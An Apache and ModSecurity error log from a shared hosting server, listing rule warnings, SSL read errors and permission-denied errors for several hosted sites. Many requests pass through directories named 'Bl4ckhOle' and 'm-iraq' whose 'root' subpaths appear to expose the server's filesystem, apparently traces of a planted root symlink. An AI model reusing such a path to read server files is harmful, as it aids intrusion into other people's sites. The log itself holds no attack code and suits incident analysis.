[Fri Jul 17 07:58:21.790086 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/ST.-ANTHONYS-BIZ-PVT-LTDhaccp-2.jpg"] [unique_id "almTRVxP5-SsqbGuGB2eywAAAAA"]
[Fri Jul 17 07:58:21.919403 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:22.119070 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/UAF-9001-2015-Logo-1.jpg"] [unique_id "almTRmidQp3SsqeycPEnCgAAAAo"]
[Fri Jul 17 07:58:22.119551 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/UAF-9001-2015-Logo-1.jpg"] [unique_id "almTRmidQp3SsqeycPEnCgAAAAo"]
[Fri Jul 17 07:58:22.133746 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:22.163583 2026] [security2:error] [pid 1993998:tid 1993998] [client 54.198.40.55:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "stanthonys.biz"] [uri "/wp-content/uploads/2022/05/UAF-9001-2015-Logo-1.jpg"] [unique_id "almTRmidQp3SsqeycPEnCgAAAAo"]
[Fri Jul 17 07:58:22.337780 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:45056] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:23.626489 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:24.482393 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:45134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:25.361281 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 47.82.48.141:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/block/253:0/device/subsystem/uevent
[Fri Jul 17 07:58:25.586454 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:25.834652 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:25.876116 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:25.911172 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:45194] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:25.911359 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.128.48.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/memory/devices/memory83/node0/memory97/state"] [unique_id "almTSY4Wmn5zySdNNkAenAAAABM"]
[Fri Jul 17 07:58:25.911379 2026] [security2:error] [pid 1996894:tid 1996894] [client 47.128.48.136:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/memory/devices/memory83/node0/memory97/state"] [unique_id "almTSY4Wmn5zySdNNkAenAAAABM"]
[Fri Jul 17 07:58:27.453172 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:27.479110 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:45254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:27.704465 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:27.968613 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:29.491113 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 47.79.15.12:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/device:00/subsystem/uevent
[Fri Jul 17 07:58:29.739087 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:30.388402 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:45364] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:30.644977 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:45390] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:30.889678 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:31.010465 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTTo1dLClkUfK_dfHbMwAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:58:31.010498 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTTo1dLClkUfK_dfHbMwAAAAI"], referer: http://anandaobauae.org/?C=N;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 07:58:31.070418 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:31.441850 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:33.334772 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:33.909971 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 57.141.18.31:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory128/subsystem/devices/memory135/node0/cpu2/driver/bind
[Fri Jul 17 07:58:35.107783 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:34398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:35.466997 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:36.618723 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:36.847155 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:34492] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:36.947217 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.53.153:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:07/physical_node/remove
[Fri Jul 17 07:58:37.508249 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTVd0t9Kb_MdNxrg65FQAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:58:37.508294 2026] [security2:error] [pid 1993574:tid 1993574] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almTVd0t9Kb_MdNxrg65FQAAAAM"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 07:58:38.725189 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:34580] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:38.770427 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:38.872961 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:39.420973 2026] [core:error] [pid 1993659:tid 1993659] (13)Permission denied: [client 47.82.13.187:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:46/subsystem/ttyS3/device/driver/uevent
[Fri Jul 17 07:58:40.745827 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:40.748853 2026] [core:error] [pid 1993671:tid 1993671] (13)Permission denied: [client 47.82.51.4:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/0000:00:07.0/firmware_node/physical_node/driver/new_id
[Fri Jul 17 07:58:40.924529 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:40.987195 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:42.561690 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:42.595143 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:43.051622 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:43.570410 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:41040] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:44.866523 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:41138] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:47.579981 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory118/node0/memory33/node0/memory77/"] [unique_id "almTX90t9Kb_MdNxrg65HAAAAAM"]
[Fri Jul 17 07:58:47.580025 2026] [security2:error] [pid 1993574:tid 1993574] [client 57.141.18.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory15/node0/memory118/node0/memory33/node0/memory77/"] [unique_id "almTX90t9Kb_MdNxrg65HAAAAAM"]
[Fri Jul 17 07:58:48.709909 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:41258] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:50.754046 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:50.830088 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:41306] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:51.184322 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:51.193596 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:51.623110 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:51.641126 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:52.440504 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47356] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:54.236916 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Home_quarantine_state_off_business_visit 2021.3.18.pdf"] [unique_id "almTZkhq6UAnqYko0LpQ_AAAABE"]
[Fri Jul 17 07:58:54.237488 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Home_quarantine_state_off_business_visit 2021.3.18.pdf"] [unique_id "almTZkhq6UAnqYko0LpQ_AAAABE"]
[Fri Jul 17 07:58:54.237916 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/Home_quarantine_state_off_business_visit 2021.3.18.pdf"] [unique_id "almTZkhq6UAnqYko0LpQ_AAAABE"]
[Fri Jul 17 07:58:54.924556 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:55.953287 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:56.045212 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:56.319629 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:56.877395 2026] [core:error] [pid 1993675:tid 1993675] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/5:2/subsystem/ttyS2/irq
[Fri Jul 17 07:58:56.969853 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:57.724778 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:57.738316 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory50/node0/memory124/node0/memory136/"] [unique_id "almTabyEqmgiTSUa55oCHwAAABA"]
[Fri Jul 17 07:58:57.738366 2026] [security2:error] [pid 1994966:tid 1994966] [client 57.141.18.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory50/node0/memory124/node0/memory136/"] [unique_id "almTabyEqmgiTSUa55oCHwAAABA"]
[Fri Jul 17 07:58:58.313985 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:58.408100 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:47566] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:58.410589 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:58.631604 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:47574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:58:58.796210 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/device/driver/uevent
[Fri Jul 17 07:58:58.893492 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:58:59.349201 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:2/subsystem/ttyS2/irq
[Fri Jul 17 07:58:59.657192 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:00.914065 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:47680] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:01.452154 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:01.571500 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:01.675531 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:01.845681 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:01.939403 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:02.030222 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/90btrfs/module-setup.sh"] [unique_id "almTbt0t9Kb_MdNxrg65KQAAAAM"]
[Fri Jul 17 07:59:02.030257 2026] [security2:error] [pid 1993574:tid 1993574] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/lib/dracut/modules.d/90btrfs/module-setup.sh"] [unique_id "almTbt0t9Kb_MdNxrg65KQAAAAM"]
[Fri Jul 17 07:59:02.057032 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:02.926151 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:02.928824 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.018101 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.036535 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.038490 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/opt/cpanel/ea-wappspector/class.curlfile.php"] [unique_id "almTb44Wmn5zySdNNkAeswAAABM"]
[Fri Jul 17 07:59:03.038538 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/uploads/img/news/m-iraq/root/opt/cpanel/ea-wappspector/class.curlfile.php"] [unique_id "almTb44Wmn5zySdNNkAeswAAABM"]
[Fri Jul 17 07:59:03.219793 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.390207 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:48002] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:03.502090 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.568525 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 47.79.10.228:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:8/subsystem/ttyS3/device/subsystem/drivers_probe
[Fri Jul 17 07:59:03.675981 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:48018] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:03.787767 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.885142 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:03.995667 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:04.465317 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:04.543514 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.170226 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.347160 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.378851 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:48110] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:59:05.432513 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.525283 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.616772 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.673602 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.803547 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:05.895893 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.189895 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.280679 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/5:2/subsystem/ttyS3/irq
[Fri Jul 17 07:59:06.372234 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.466328 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.559217 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.745962 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.837575 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:06.931385 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.201764 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.293766 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.384375 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.443419 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.475609 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:59:07.475753 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
